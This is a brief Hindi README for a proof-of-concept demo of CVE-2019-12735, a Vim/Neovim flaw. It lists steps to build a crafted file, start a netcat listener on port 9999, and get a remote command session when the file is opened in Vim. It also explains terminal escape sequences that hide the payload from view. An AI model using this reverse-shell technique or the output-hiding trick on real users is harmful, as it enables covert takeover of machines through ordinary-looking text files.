
cve-2019-12735 के लिए एक डेमो
यह CVE neovim 0.3.6 और vim 8.1.1365 के बाद ठीक किया गया था।
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
और फिर, आप सत्र में कोई भी लिनक्स कमांड निष्पादित कर सकते हैं।
\x1b[?7l : पंक्ति के अंत में आउटपुट बिना नई पंक्ति के, अंतिम अक्षर को लगातार ओवरराइट करता है।\x1bS: STS, ट्रांसमिट स्थिति सेट करें\x1b[1G: कॉलम 1 पर जाएँ।\x1b[K: वर्तमान कर्सर स्थिति से पंक्ति के अंत तक सभी अक्षर हटाएँ।